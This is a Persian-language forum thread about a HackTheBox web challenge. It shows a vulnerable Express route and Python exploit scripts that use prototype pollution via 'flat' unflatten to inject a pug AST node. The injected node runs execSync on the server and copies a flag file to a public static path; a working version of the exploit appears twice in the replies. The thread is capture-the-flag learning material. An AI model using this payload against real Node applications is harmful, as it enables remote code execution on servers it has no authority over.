mmj-sys
3 سال پیش توسط mmj-sys مطرح شد
2 پاسخ

AST INJECTION

سلام دوستان من امروز توی سایت hackthebox

به یک مشکل برخوردم

داستان از این قراره که یه سایت هست که فیلد داره و اون فیلد اسم مشخصی رو از ما میگیره یه ورودی رو به ادرس /api/submit پست میکنه

که اگه ما یه بخش اضافه با جیسان بفستیم اون کد رو ران میکنه

ادرس سایت چلنج رو باید خودتون از hathebox بگیرید چون متفاوته سورس رو هم میتونید دانلود کنید

اما من وقتی دنبال این داستان رفتم به هر جایی سر زدم نشد که نشد

حتی اسکریپت های خودشون هم که میگن کار کرده کار نمیکنه برا من و 404 میده
این اسکریپت منه

import requests

TARGET_URL = 'http://host:port'
r = requests.post(TARGET_URL+'/api/submit', json = {
    "artist.name":"Gingell",
    "__proto__.type": "Program",
    "__proto__.body": [{
        "type": "MustacheStatement",
        "path": 0,
        "params": [{
            "type": "NumberLiteral",
            "value": "process.mainModule.require('child_process').execSync('cat flag* > static/js/main.js')"
        }],
        "loc": {
            "start": 0,
            "end": 0
        }
    }]
    })

print(r.status_code)
print(r.text)

print(requests.get(TARGET_URL+'/static/main.js').text)

صفحه اکسپرس

const path              = require('path');
const express           = require('express');
const pug               = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
  const { artist } = unflatten(req.body); #نقطه اسیب پذیر تابع منسوخ 

    if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
        return res.json({
            'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
        });
    } else {
        return res.json({
            'response': 'Please provide us with the full name of an existing member.'
        });
    }
});

module.exports = router;

لینک چلنج


ثبت پرسش جدید
mmj-sys
تخصص : داش متخصص چیه من پروفسورم .
@mmj.sys 3 سال پیش مطرح شد
0

@hesammousavi

این یه چلنج توی سایت hackthebox وب بود
که قرار بود با ارسال داده اضافی توی json دستور ما ران شه
چون unflatten درست دخواست رو فیلتر نمیکنه
بعد وقتی pug دنبال ایجکت میگرده و ما ابجکت مخرب رو ارسال کردیم

یه اکسپلویت داره که نوشتمش فکر کنم بهتر متوجه شید

import requests

TARGET_URL = 'http://138.68.155.238:31223'

# make pollution
r = requests.post(TARGET_URL+'/api/submit', json = {"artist.name":"Westaway",
  "__proto__.type": "Program",
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('cat flagaS4Fe > static/js/main.js')"    }
})

print(r.status_code)
print(r.text)

# rc = requests.get(TARGET_URL+'/static/js/main.js')
# print(rc.text)

تارگت url هم سایت بهتون میده

درواقع میاد روی سرور خودش فایل نودجی اس خودش که داکرایز شده رو اجرا میکنه ایپی رو به شما میده
و شما باید نفوذ کنید و فلگ رو که مخفی هست پیدا کنید مثل ctf های معمول


حسام موسوی
تخصص : طراح و برنامه نویس
@hesammousavi 3 سال پیش مطرح شد
0

اگر بهت api میده خوب main domain چیه آخه تو کدهات main domain رو قرار ندادی !؟


mmj-sys
تخصص : داش متخصص چیه من پروفسورم .
@mmj.sys 3 سال پیش مطرح شد
0

@hesammousavi

این یه چلنج توی سایت hackthebox وب بود
که قرار بود با ارسال داده اضافی توی json دستور ما ران شه
چون unflatten درست دخواست رو فیلتر نمیکنه
بعد وقتی pug دنبال ایجکت میگرده و ما ابجکت مخرب رو ارسال کردیم

یه اکسپلویت داره که نوشتمش فکر کنم بهتر متوجه شید

import requests

TARGET_URL = 'http://138.68.155.238:31223'

# make pollution
r = requests.post(TARGET_URL+'/api/submit', json = {"artist.name":"Westaway",
  "__proto__.type": "Program",
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('cat flagaS4Fe > static/js/main.js')"    }
})

print(r.status_code)
print(r.text)

# rc = requests.get(TARGET_URL+'/static/js/main.js')
# print(rc.text)

تارگت url هم سایت بهتون میده

درواقع میاد روی سرور خودش فایل نودجی اس خودش که داکرایز شده رو اجرا میکنه ایپی رو به شما میده
و شما باید نفوذ کنید و فلگ رو که مخفی هست پیدا کنید مثل ctf های معمول


برای ارسال پاسخ لازم است وارد شده یا ثبت‌نام کنید

ورود یا ثبت‌نام